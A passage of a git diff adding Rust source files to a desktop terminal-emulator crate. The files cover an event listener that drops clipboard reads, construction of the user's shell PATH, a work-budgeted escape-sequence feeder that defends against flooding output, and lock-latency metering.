+    /// When `stop` was called -- i.e. the instant `shutdown` returned.
+    stop_at: StopClock,
+}
+
+/// Shared slot for the instant the reader was asked to stop.
+type StopClock = std::sync::Arc<std::sync::Mutex<Option<Instant>>>;
+
+impl RecordingReader {
+    fn spawn(
+        pair: &PtyPair,
+        pid: i32,
+        order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
+        stop_at: StopClock,
+    ) -> Self {
+        let mut reader = pair.master.try_clone_reader().expect("reader");
+        let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0));
+        let counter = total.clone();
+        let handle = std::thread::spawn(move || {
+            use std::io::Read;
+            let mut buf = [0u8; 4096];
+            while let Ok(n) = reader.read(&mut buf) {
+                if n == 0 {
+                    break;
+                }
+                counter.fetch_add(n as u64, Ordering::Relaxed);
+            }
+        });
+        Self {
+            pid,
+            total,
+            handle,
+            order,
+            stop_at,
+        }
+    }
+
+    fn total_bytes(&self) -> u64 {
+        self.total.load(Ordering::Relaxed)
+    }
+}
+
+impl DrainingReader for RecordingReader {
+    fn begin_closing(&self) {
+        self.order.lock().unwrap().push("begin_closing");
+    }
+
+    fn stop(&self) {
+        *self.stop_at.lock().unwrap() = Some(Instant::now());
+        assert!(
+            !pid_alive(self.pid),
+            "reader stop must not be requested before the child is reaped"
+        );
+        self.order.lock().unwrap().push("stop");
+    }
+
+    fn join(self: Box<Self>) {
+        self.order.lock().unwrap().push("join");
+        // Bounded, and that is the whole point. The read loop ends when the
+        // master reports EOF, which only happens once the reaped child has
+        // released the slave -- so joining *before* termination blocks
+        // forever. That is precisely the forbidden ordering (mutation L4),
+        // and an unbounded join would "detect" it by hanging, which is
+        // indistinguishable from a broken test. Waiting to a deadline and
+        // abandoning the thread converts the hang into an assertion failure
+        // the harness can report.
+        //
+        // The deadline must *assert*, not return. A silent abandon is
+        // indistinguishable from a clean join, and that is not hypothetical:
+        // it is how a 10 s stall in this fixture masqueraded as a
+        // child-termination failure in the caller's timing assertion. The
+        // caller's clock covers `shutdown()` only, so this is the sole gate
+        // on reader teardown -- with a wedged reader, `shutdown()` still
+        // returns in ~58 ms and every other assertion here passes.
+        assert!(
+            poll_until(|| self.handle.is_finished()),
+            "reader thread never finished within {BOUND:?} after the child was \
+             reaped: the master never reached EOF, so output was not being \
+             drained through termination"
+        );
+        let _ = self.handle.join();
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/listener.rs b/desktop/src-tauri/crates/buzz-terminal/src/listener.rs
new file mode 100644
index 0000000000..ac9fcfd60f
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/listener.rs
@@ -0,0 +1,144 @@
+//! The closed set of terminal events we act on.
+//!
+//! `EventListener` is how the emulator asks the embedder to do something. Most
+//! of those requests write back to the PTY, and one of them — `ClipboardLoad` —
+//! would let terminal output read the user's clipboard into the shell. We
+//! answer a fixed set and **drop everything else by default**, so a new upstream
+//! variant is inert until someone deliberately handles it.
+
+use std::fmt;
+use std::sync::mpsc::{self, Receiver, Sender};
+use std::sync::Arc;
+
+use alacritty_terminal::event::{Event, EventListener, WindowSize};
+use alacritty_terminal::vte::ansi::Rgb;
+
+/// Something the embedder must do on the terminal's behalf.
+///
+/// Two variants carry upstream's reply formatters rather than a finished
+/// string: the answers depend on state this listener does not own (the color
+/// palette, the cell metrics). Resolving them here would mean inventing
+/// values, and a program that asked for its terminal's real background color
+/// would silently be told black.
+#[derive(Clone)]
+pub enum Action {
+    /// Write bytes back to the PTY.
+    PtyWrite(String),
+    /// Reply with palette entry `index`, formatted by `format`.
+    ColorReply {
+        index: usize,
+        format: Arc<dyn Fn(Rgb) -> String + Send + Sync>,
+    },
+    /// Reply with the text area size, formatted by `format`.
+    SizeReply {
+        format: Arc<dyn Fn(WindowSize) -> String + Send + Sync>,
+    },
+    /// The program set the window title (already clamped).
+    Title(String),
+    /// The program reset the window title.
+    ResetTitle,
+    /// New content is available; the renderer should sample damage.
+    Wakeup,
+    /// The program rang the bell.
+    Bell,
+}
+
+impl fmt::Debug for Action {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        match self {
+            Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"),
+            Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"),
+            Self::SizeReply { .. } => write!(f, "SizeReply"),
+            Self::Title(title) => write!(f, "Title({title:?})"),
+            Self::ResetTitle => write!(f, "ResetTitle"),
+            Self::Wakeup => write!(f, "Wakeup"),
+            Self::Bell => write!(f, "Bell"),
+        }
+    }
+}
+
+/// Longest title we will carry. A title is program-controlled text that ends up
+/// in UI chrome; an unbounded one is a memory and layout problem.
+pub const TITLE_LIMIT: usize = 512;
+
+/// Clamp on a character boundary, never mid-UTF-8.
+fn clamp_title(title: String) -> String {
+    match title.char_indices().nth(TITLE_LIMIT) {
+        None => title,
+        Some((byte_idx, _)) => title[..byte_idx].to_string(),
+    }
+}
+
+/// Translates upstream events into the closed [`Action`] set.
+#[derive(Clone)]
+pub struct Listener(Sender<Action>);
+
+impl Listener {
+    pub fn new() -> (Self, Receiver<Action>) {
+        let (tx, rx) = mpsc::channel();
+        (Self(tx), rx)
+    }
+}
+
+/// Resolve an emulator action that can be answered without renderer state.
+///
+/// Color queries deliberately return `None`: named/indexed colors resolve
+/// against the live theme, which this crate does not own.
+pub fn reply(
+    action: Action,
+    columns: u16,
+    rows: u16,
+    cell_width: u16,
+    cell_height: u16,
+) -> Option<String> {
+    match action {
+        Action::PtyWrite(text) => Some(text),
+        Action::SizeReply { format } => Some(format(WindowSize {
+            num_lines: rows,
+            num_cols: columns,
+            cell_width,
+            cell_height,
+        })),
+        // Palette values are renderer-owned. The transport must answer these
+        // only after it has a renderer palette, never invent one here.
+        Action::ColorReply { .. }
+        | Action::Title(_)
+        | Action::ResetTitle
+        | Action::Wakeup
+        | Action::Bell => None,
+    }
+}
+
+impl EventListener for Listener {
+    fn send_event(&self, event: Event) {
+        let action = match event {
+            // Replies the program is waiting on. These are the only routes by
+            // which emulator state travels back into the shell.
+            Event::PtyWrite(text) => Action::PtyWrite(text),
+            // A program blocked on a color reply must get one, or it hangs.
+            // The palette lives in `Term`, so the caller resolves the index;
+            // the formatter is carried through untouched.
+            Event::ColorRequest(index, format) => Action::ColorReply { index, format },
+            Event::TextAreaSizeRequest(format) => Action::SizeReply { format },
+            Event::Title(title) => Action::Title(clamp_title(title)),
+            Event::ResetTitle => Action::ResetTitle,
+            Event::Wakeup => Action::Wakeup,
+            Event::Bell => Action::Bell,
+
+            // Dropped on purpose, and enumerated so the reason survives:
+            //
+            // ClipboardLoad would let terminal output paste the user's
+            // clipboard into the shell. Never handled.
+            Event::ClipboardLoad(..) => return,
+            // ClipboardStore is an OSC 52 write; OSC 52 is disabled in the
+            // Term config, so this should be unreachable rather than merely
+            // unhandled.
+            Event::ClipboardStore(..) => return,
+            // Presentation concerns the renderer polls for; no action here.
+            Event::MouseCursorDirty | Event::CursorBlinkingChange => return,
+            // Lifecycle is owned by the PTY layer, not the emulator.
+            Event::Exit | Event::ChildExit(_) => return,
+        };
+        let _ = self.0.send(action);
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/path.rs b/desktop/src-tauri/crates/buzz-terminal/src/path.rs
new file mode 100644
index 0000000000..94b77ce719
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/path.rs
@@ -0,0 +1,46 @@
+//! `PATH` derivation for spawned PTY children.
+//!
+//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
+//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
+//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
+//! pinned build toolchain rather than the ones they installed. That is a
+//! product defect, not merely untidy: `⌘J` then `cargo --version` should
+//! answer for the user's machine, not for Buzz's build.
+//!
+//! The abandoned `feat/terminal` branch tried to solve this by subtracting
+//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
+//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
+//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
+//! those same keys at `:505-506` to learn what to strip. With both keys
+//! already gone the roots list is empty and the function returns early,
+//! leaving the hermit entries in place. Verified by reproduction: in that
+//! order the child's `PATH` is unchanged; reversed, the hermit entries are
+//! removed. A subtractive fence depends on evidence of what to subtract, and
+//! that evidence is exactly what the preceding cleanup destroys.
+//!
+//! So `PATH` is *constructed*, not filtered. The child gets the platform's
+//! standard user path, which is what a login shell would have produced had
+//! Buzz never been in the picture.
+
+/// The default user `PATH` for a spawned shell.
+///
+/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
+/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
+/// `~/.local/bin`); starting from the platform default lets that happen
+/// normally instead of layering it on top of Buzz's build toolchain.
+#[cfg(unix)]
+pub fn user_shell_path() -> String {
+    // Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
+    // binaries only. `/usr/local/bin` is included because it is the
+    // conventional prefix on both macOS and Linux for user-installed tools
+    // that rc files expect to already be present.
+    "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
+}
+
+#[cfg(windows)]
+pub fn user_shell_path() -> String {
+    // On Windows the system directories are derived from the environment
+    // rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
+    let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
+    format!(r"{root}\system32;{root};{root}\system32\Wbem")
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/reader.rs b/desktop/src-tauri/crates/buzz-terminal/src/reader.rs
new file mode 100644
index 0000000000..0218dcda9b
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/reader.rs
@@ -0,0 +1,354 @@
+//! Fence enforcement around `vte`'s `Processor`.
+//!
+//! Everything that reaches the terminal's parser goes through [`Feeder::feed`].
+//! It is the single place both fences are applied, so there is no route by
+//! which bytes become parser-visible without being charged.
+
+use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler};
+
+use crate::fences::{
+    slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP,
+    TAIL_RESUME, WORK_BUDGET,
+};
+use crate::units::{Counting, CursorColumn};
+
+/// Owns the parser and enforces F1/F2 on every byte fed to it.
+pub struct Feeder {
+    parser: Processor<StdSyncHandler>,
+    fences: Fences,
+    stats: FenceStats,
+    /// Bytes charged since the last F2 reset.
+    since_reset: usize,
+    /// Bytes accepted but not yet parsed. Grows when arrival outruns
+    /// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`].
+    pending: Vec<u8>,
+    /// How much of `pending` has already been parsed. Kept as an index rather
+    /// than draining the front on every slice, so a large tail is not
+    /// re-shuffled once per slice; the prefix is dropped in one go on the next
+    /// enqueue.
+    pending_at: usize,
+    /// The grid the weights are computed against. Tracked here rather than
+    /// read from the `Term` because `feed` only has the handler, and kept in
+    /// sync by [`Feeder::resize`]: a stale grid misprices every O(cells)
+    /// callback for as long as it is wrong.
+    columns: usize,
+    lines: usize,
+    /// Whether the parser is part-way through an escape sequence that has not
+    /// yet dispatched. Governs how the next slice is metered -- see
+    /// [`crate::fences::slice_bytes_remaining`].
+    mid_escape: bool,
+    /// Deepest scrollback this feeder has ever been configured for.
+    ///
+    /// A high-water mark rather than the current depth, and the difference is
+    /// not conservatism for its own sake -- the rows are still there. Upstream
+    /// frees history lazily: `Storage::shrink_lines` truncates only once the
+    /// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after
+    /// a decrease the grid still owns rows that a reset must walk. Pricing at
+    /// the new depth would charge for a grid that does not exist yet.
+    ///
+    /// Never lowered, so it needs no clearing transition and cannot go stale
+    /// in the unsafe direction. The cost is that a session which shrinks its
+    /// scrollback keeps paying the deep price for the rest of its life; the
+    /// alternative is a bound that is wrong immediately after every shrink.
+    scrollback: usize,
+}
+
+impl Feeder {
+    pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self {
+        Self {
+            parser: Processor::new(),
+            fences,
+            stats: FenceStats::default(),
+            since_reset: 0,
+            pending: Vec::new(),
+            pending_at: 0,
+            mid_escape: false,
+            columns,
+            lines,
+            scrollback,
+        }
+    }
+
+    /// Track a geometry change, so the cost weights describe the current grid.
+    ///
+    /// Takes the whole [`crate::Size`] rather than a column/line pair on
+    /// purpose. Scrollback is as load-bearing as the other two -- it is most
+    /// of RIS's price and therefore most of the slice derivation -- and a
+    /// signature that accepted only the dimensions let a caller change the
+    /// depth on the `Term` while the feeder kept charging the construction
+    /// value. One argument, one ownership boundary, no way to update two of
+    /// three.
+    pub fn resize(&mut self, size: crate::Size) {
+        self.columns = size.columns;
+        self.lines = size.screen_lines;
+        // Grows only. See the field: a decrease does not immediately free the
+        // rows a reset has to walk.
+        self.scrollback = self.scrollback.max(size.scrollback);
+    }
+
+    pub fn stats(&self) -> FenceStats {
+        self.stats
+    }
+
+    pub fn reset_stats(&mut self) {
+        self.stats.reset();
+    }
+
+    /// Bytes currently buffered inside a synchronized update.
+    pub fn pending_sync_bytes(&self) -> usize {
+        self.parser.sync_bytes_count()
+    }
+
+    /// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`]
+    /// spent its work budget before reaching them.
+    pub fn pending_bytes(&self) -> usize {
+        self.pending.len() - self.pending_at
+    }
+
+    /// Whether the pending tail has reached [`TAIL_CAP`].
+    ///
+    /// Deliberately derived from the current depth rather than latched. A
+    /// latch is a state the fence owns and could fail to clear, which is
+    /// exactly how a paused reader strands a child mid-teardown; a reader that
+    /// simply stops asking resumes by default.
+    ///
+    /// **No production consumer today, and not an oversight.** The runtime
+    /// reader pumps [`Feeder::drain`] to completion after every read
+    /// (`terminal_runtime.rs`), so the tail is empty between iterations and
+    /// this can never go true -- measured 0 bytes high-water against 8 MiB of
+    /// pure RIS, the densest atom there is. It exists for a future reader
+    /// that defers pumping, and such a reader **must** consult it: without
+    /// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of
+    /// 16 KiB.
+    ///
+    /// The numbers are here rather than "nothing calls this" because the
+    /// signal and the loop are one fact from two sides. Delete the loop and
+    /// this predicate stops being unreachable in the same instant it starts
+    /// being needed.
+    pub fn tail_full(&self) -> bool {
+        self.pending_bytes() >= TAIL_CAP
+    }
+
+    /// Whether a paused reader may resume: the tail has drained to the low
+    /// water mark. Separate from `!tail_full()` so the reader does not flap
+    /// between full and one-byte-below-full.
+    pub fn tail_drained(&self) -> bool {
+        self.pending_bytes() <= TAIL_RESUME
+    }
+
+    /// Discard the unparsed tail.
+    ///
+    /// For session close only, and lossless where it is used: publication is
+    /// detached before shutdown drains, so this tail is bytes no renderer can
+    /// consume. Draining the *PTY* remains lifecycle-critical -- this exists so
+    /// parser work cannot hold teardown behind it.
+    pub fn abandon_tail(&mut self) -> usize {
+        let abandoned = self.pending_bytes();
+        self.pending.clear();
+        self.pending_at = 0;
+        self.stats.abandoned_bytes += abandoned as u64;
+        abandoned
+    }
+
+    /// Accept PTY output and parse what fits in one work budget.
+    ///
+    /// Returns whether bytes remain unparsed. Bytes beyond the budget are
+    /// retained and parsed by [`Feeder::drain`], so this bounds the *lock
+    /// hold*; it does not bound the queue. When arrival outruns retirement
+    /// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true,
+    /// which is the reader's cue to stop reading the PTY and let the child
+    /// block. No policy is applied here: a fence that dropped input to protect
+    /// itself would corrupt the screen to avoid being slow.
+    pub fn feed<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> bool {
+        self.enqueue(bytes);
+        self.drain(handler);
+        self.pending_bytes() > 0
+    }
+
+    /// Append to the pending tail, compacting the already-parsed prefix first.
+    fn enqueue(&mut self, bytes: &[u8]) {
+        if self.pending_at > 0 {
+            self.pending.drain(..self.pending_at);
+            self.pending_at = 0;
+        }
+        self.pending.extend_from_slice(bytes);
+    }
+
+    /// Parse from the pending tail until the work budget is spent.
+    ///
+    /// The budget is checked between parser slices, never inside a callback:
+    /// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose
+    /// implementor in the ansi layer is private, so the cut has to be made
+    /// from outside, and a callback already running cannot be preempted at
+    /// all. One atom is therefore the irreducible overrun -- and it is not
+    /// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600
+    /// columns, because upstream's `move_backward_tabs` rescans the row once
+    /// per count when it finds no stop.
+    ///
+    /// What *is* bounded is the number of atoms per slice, and that bound
+    /// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived
+    /// from the densest work-per-byte upstream can produce on this grid, so
+    /// no slice can contain more than one budget's worth of callbacks no
+    /// matter what the payload is or what the feeder has seen before.
+    ///
+    /// Returns the work spent, which is at least the budget whenever the tail
+    /// is still non-empty on return.
+    pub fn drain<H: Handler + CursorColumn>(&mut self, handler: &mut H) -> u64 {
+        // Slices are copied out of the tail rather than borrowed from it,
+        // because `advance_slice` needs `&mut self` and the tail is part of
+        // self. A stack buffer keeps that from allocating; the copy is a
+        // memcpy against a parse two orders of magnitude more expensive.
+        let mut buf = [0u8; MAX_SLICE];
+        let mut spent: u64 = 0;
+        while self.pending_at < self.pending.len() {
+            // Size each slice against what is *left* of the budget, and
+            // against what is actually in front of the parser. A slice can
+            // only be as expensive as the callbacks it contains, and only an
+            // escape can buy grid-sized work in two bytes -- so a plain run
+            // is sliced against the plain-byte cost and stops at the next
+            // `ESC`, which then gets a slice metered against the worst atom.
+            // The drain therefore returns on the atom that crosses the
+            // budget, not at the end of a slice that ran several more.
+            //
+            // Where one atom is worth more than the entire budget -- RIS at
+            // any real scrollback depth -- that escape gets a one-byte slice.
+            // That is the honest consequence of the law: nothing wider can
+            // promise to stop after the crossing atom when a single atom
+            // always crosses.
+            // A slice is never wider than MAX_SLICE, so the scan for the next
+            // escape stops there too: searching the whole tail would be
+            // O(tail) per slice and O(tail^2) per drain, which measured as a
+            // 7x throughput *regression* on plain text -- a bound that costs
+            // more than the thing it bounds.
+            let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len());
+            let next_escape = if self.mid_escape {
+                // Already inside a sequence whose callback has not fired. Its
+                // remaining bytes are *not* plain text -- `ESC` then `c` is a
+                // grid reset -- so they keep the escape's metering. Without
+                // this the byte after a lone `ESC` is priced as a character
+                // and the atom rides into a wide slice with whatever follows
+                // it, which is the post-atom overrun by another door.
+                0
+            } else {
+                self.pending[self.pending_at..horizon]
+                    .iter()
+                    .position(|&b| b == 0x1b)
+                    .unwrap_or(horizon - self.pending_at)
+            };
+            let width = slice_bytes_remaining(
+                self.columns,
+                self.lines,
+                self.scrollback,
+                spent,
+                next_escape,
+            );
+            let end = (self.pending_at + width).min(self.pending.len());
+            let len = end - self.pending_at;
+            buf[..len].copy_from_slice(&self.pending[self.pending_at..end]);
+            self.pending_at = end;
+            let cost = self.advance_slice(handler, &buf[..len]);
+            // A slice that contained an escape but dispatched nothing left the
+            // parser mid-sequence. Work is the signal because it is the thing
+            // being budgeted: a sequence that has not yet cost anything has
+            // not yet run.
+            self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0;
+            spent = spent.saturating_add(cost);
+            if spent >= WORK_BUDGET {
+                break;
+            }
+        }
+        if self.pending_at == self.pending.len() {
+            self.pending.clear();
+            self.pending_at = 0;
+        }
+        let depth = self.pending_bytes();
+        self.stats.max_pending = self.stats.max_pending.max(depth);
+        if depth >= TAIL_CAP {
+            self.stats.tail_breaches += 1;
+        }
+        spent
+    }
+
+    /// Parse one slice, applying both fences to it. Returns the work it cost.
+    fn advance_slice<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> u64 {
+        let mut spent: u64 = 0;
+        let sync_before = self.parser.sync_bytes_count();
+        {
+            let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback);
+            self.parser.advance(&mut counting, bytes);
+            self.stats.completed_units =
+                self.stats.completed_units.saturating_add(counting.units());
+            self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work());
+            spent = spent.saturating_add(counting.work());
+        }
+        let sync_after = self.parser.sync_bytes_count();
+
+        // Charge exactly the bytes the parser could see, by route:
+        //
+        // * the buffer shrank  -> a synchronized update ended and released
+        //   `sync_before` buffered bytes plus whatever of `bytes` followed it.
+        //   Charging only `bytes` here is the "omitted flush accounting"
+        //   mutation: it under-charges by the whole buffered frame.
+        // * the buffer grew    -> these bytes were swallowed into the buffer
+        //   and are not yet parser-visible. Charging them now is the "raw
+        //   counting" mutation: it over-charges, and resets the parser in the
+        //   middle of a legitimate frame, destroying content.
+        // * neither            -> ordinary unsynchronized input.
+        let charged = if sync_after < sync_before {
+            let released = sync_before + bytes.len() - sync_after;
+            self.note_release(released);
+            released
+        } else if sync_after > sync_before {
+            // Buffered, not yet visible. Charged when it is released.
+            0
+        } else {
+            bytes.len()
+        };
+        self.charge(charged);
+
+        // F1: a synchronized update may not buffer without bound. One abort
+        // per breach; the released bytes are parser-visible and are charged.
+        if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP {
+            let released = self.parser.sync_bytes_count();
+            // Counted too: aborting flushes the buffered frame through the
+            // handler, so these are units the lock hold paid for. Leaving them
+            // out would undercount exactly on the fenced path.
+            {
+                let mut counting =
+                    Counting::new(handler, self.columns, self.lines, self.scrollback);
+                self.parser.stop_sync(&mut counting);
+                self.stats.completed_units =
+                    self.stats.completed_units.saturating_add(counting.units());
+                self.stats.completed_work =
+                    self.stats.completed_work.saturating_add(counting.work());
+                spent = spent.saturating_add(counting.work());
+            }
+            self.stats.sync_aborts += 1;
+            self.note_release(released);
+            self.charge(released);
+        }
+
+        // F2: rebuild the parser once the budget is spent. Unconditional --
+        // a fresh `Processor` is the only way to discard parser state that a
+        // hostile stream is holding open, and it must not depend on the
+        // parser agreeing that it is in a bad state.
+        if self.fences.osc_budget && self.since_reset >= OSC_BUDGET {
+            self.parser = Processor::new();
+            self.stats.osc_resets += 1;
+            self.since_reset = 0;
+        }
+
+        spent
+    }
+
+    fn charge(&mut self, bytes: usize) {
+        self.since_reset += bytes;
+        self.stats.charged_bytes += bytes as u64;
+    }
+
+    fn note_release(&mut self, bytes: usize) {
+        if bytes > self.stats.max_release {
+            self.stats.max_release = bytes;
+        }
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shared.rs b/desktop/src-tauri/crates/buzz-terminal/src/shared.rs
new file mode 100644
index 0000000000..72aac2ce4d
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/shared.rs
@@ -0,0 +1,305 @@
+//! The lock the reader and the renderer contend for, and the meter on it.
+//!
+//! This lives in the engine crate rather than in the embedder because the
+//! property it exists to prove is a property of the emulator *and* the lock
+//! together: F1 bounds how many bytes one `feed` releases into the parser,
+//! which bounds how long the reader can hold this mutex, which bounds how long
+//! the renderer waits for it. Split the lock out to the Tauri layer and the
+//! gate can only be written where no fixture runs.
+//!
+//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is
+//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart,
+//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the
+//! wrong quantity; waiting time is the one a human feels. So the two planes are
+//! metered separately: pooling them would let the reader's millions of fast
+//! acquires dilute the renderer's tail into a false pass.
+
+use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering};
+use std::time::Instant;
+
+use alacritty_terminal::sync::FairMutex;
+use parking_lot::MutexGuard;
+
+use crate::damage::{self, Encoder, Frame};
+use crate::Terminal;
+
+/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds,
+/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is
+/// the point: nothing is silently clamped into the last bucket.
+const BUCKETS: usize = 32;
+
+fn bucket_of(micros: u64) -> usize {
+    (u64::BITS - micros.leading_zeros()) as usize
+}
+
+/// Upper bound of a bucket, in microseconds. Percentiles report this, so a
+/// reported latency is never better than what was actually observed.
+fn bucket_ceiling(bucket: usize) -> u64 {
+    if bucket == 0 {
+        0
+    } else {
+        (1u64 << bucket) - 1
+    }
+}
+
+/// Lock-acquisition latencies for one plane, recorded without taking a second
+/// lock -- an instrument that contends is measuring itself.
+#[derive(Debug)]
+pub struct AcquireMeter {
+    acquisitions: AtomicU64,
+    max_micros: AtomicU64,
+    buckets: [AtomicU32; BUCKETS],
+}
+
+impl Default for AcquireMeter {
+    fn default() -> Self {
+        Self {
+            acquisitions: AtomicU64::new(0),
+            max_micros: AtomicU64::new(0),
+            buckets: std::array::from_fn(|_| AtomicU32::new(0)),
+        }
+    }
+}
+
+impl AcquireMeter {
+    fn record(&self, micros: u64) {
+        self.acquisitions.fetch_add(1, Ordering::Relaxed);
+        self.max_micros.fetch_max(micros, Ordering::Relaxed);
+        self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed);
+    }
+
+    /// Read the counters. Cheap and non-blocking; safe to call from a gate
+    /// while the flood is still running.
+    pub fn snapshot(&self) -> AcquireStats {
+        AcquireStats {
+            acquisitions: self.acquisitions.load(Ordering::Relaxed),
+            max_micros: self.max_micros.load(Ordering::Relaxed),
+            buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)),
+        }
+    }
+
+    /// Clear the counters. Diagnostics are per-run.
+    pub fn reset(&self) {
+        self.acquisitions.store(0, Ordering::Relaxed);
+        self.max_micros.store(0, Ordering::Relaxed);
+        for bucket in &self.buckets {
+            bucket.store(0, Ordering::Relaxed);
+        }
+    }
+}
+
+/// A read of one plane's acquisition latencies.
+///
+/// `max_micros` is exact because the budget it answers to -- no acquire above
+/// one frame at 60 Hz -- is a statement about a single worst event. The
+/// distribution is bucketed by powers of two because the budget *it* answers to
+/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two
+/// resolution against 80x of margin buys nothing for the memory it costs.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct AcquireStats {
+    pub acquisitions: u64,
+    pub max_micros: u64,
+    buckets: [u32; BUCKETS],
+}
+
+impl AcquireStats {
+    /// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to
+    /// the enclosing bucket's ceiling.
+    pub fn percentile_micros(&self, p: f64) -> u64 {
+        if self.acquisitions == 0 {
+            return 0;
+        }
+        let target = (self.acquisitions as f64 * p).ceil() as u64;
+        let mut seen = 0u64;
+        for (bucket, count) in self.buckets.iter().enumerate() {
+            seen += *count as u64;
+            if seen >= target {
+                return bucket_ceiling(bucket);
+            }
+        }
+        self.max_micros
+    }
+}
+
+/// A [`Terminal`] shared between the PTY reader and the renderer.
+pub struct SharedTerminal {
+    term: FairMutex<Terminal>,
+    reader: AcquireMeter,
+    renderer: AcquireMeter,
+    closing: AtomicBool,
+}
+
+impl SharedTerminal {
+    pub fn new(term: Terminal) -> Self {
+        Self {
+            term: FairMutex::new(term),
+            reader: AcquireMeter::default(),
+            renderer: AcquireMeter::default(),
+            closing: AtomicBool::new(false),
+        }
+    }
+
+    /// Acquisition latencies for the PTY-reader plane.
+    pub fn reader_acquire(&self) -> &AcquireMeter {
+        &self.reader
+    }
+
+    /// Acquisition latencies for the renderer plane. This is the one with a
+    /// budget attached.
+    pub fn renderer_acquire(&self) -> &AcquireMeter {
+        &self.renderer
+    }
+
+    /// Feed PTY output into the emulator. Reader plane.
+    ///
+    /// Returns whether a tail remains: one acquisition parses one work
+    /// budget, then **drops the lock** so the renderer can have it. The
+    /// caller pumps [`SharedTerminal::drain`] until it returns false. Doing
+    /// the whole buffer under one acquisition is what an unbounded hold *is*,
+    /// so it is not offered here.
+    pub fn feed(&self, bytes: &[u8]) -> bool {
+        let mut term = self.acquire(&self.reader);
+        if self.closing.load(Ordering::Acquire) {
+            false
+        } else {
+            term.feed(bytes)
+        }
+    }
+
+    /// Parse more of the pending tail under a fresh acquisition. Reader
+    /// plane. Returns whether any remains.
+    pub fn drain(&self) -> bool {
+        let mut term = self.acquire(&self.reader);
+        if self.closing.load(Ordering::Acquire) {
+            false
+        } else {
+            term.drain()
+        }
+    }
+
+    /// Feed and pump to completion, re-acquiring between slices.
+    pub fn feed_fully(&self, bytes: &[u8]) {
+        let mut more = self.feed(bytes);
+        while more {
+            more = self.drain();
+        }
+    }
+
+    /// Atomically enter close mode and discard parser work. Subsequent PTY
+    /// bytes are raw-drained by the embedder and never reach callbacks.
+    pub fn begin_closing(&self) -> usize {
+        self.closing.store(true, Ordering::Release);
+        self.acquire(&self.reader).abandon_tail()
+    }
+
+    pub fn is_closing(&self) -> bool {
+        self.closing.load(Ordering::Acquire)
+    }
+
+    /// Sample damage and encode a frame. Renderer plane.
+    ///
+    /// The lock covers the copy only; `encode` -- hashing, span grouping,
+    /// allocation -- runs after the guard drops, which is worth ~75x in hold
+    /// time. The `Encoder` is the caller's because its dedup state is per
+    /// consumer, and passing it in keeps the encode off this lock by
+    /// construction rather than by remembering to.
+    pub fn render(&self, encoder: &mut Encoder) -> Frame {
+        let raw = {
+            let mut term = self.acquire(&self.renderer);
+            damage::capture(&mut term)
+        };
+        encoder.encode(raw)
+    }
+
+    /// Copy the whole viewport for a subscriber that arrived mid-stream.
+    /// Renderer plane.
+    ///
+    /// Attach, reattach, and the successor side of a resize all need the
+    /// screen as it stands, not the next thing to change on it. Crucially this
+    /// leaves damage alone, so taking a snapshot for a newcomer cannot steal
+    /// the incumbent renderer's pending rows -- see [`damage::capture_all`].
+    ///
+    /// Costs a full grid copy under the lock, so call it on attach rather than
+    /// per frame.
+    pub fn snapshot(&self, encoder: &mut Encoder) -> Frame {
+        let raw = {
+            let mut term = self.acquire(&self.renderer);
+            damage::capture_all(&mut term)
+        };
+        encoder.encode(raw)
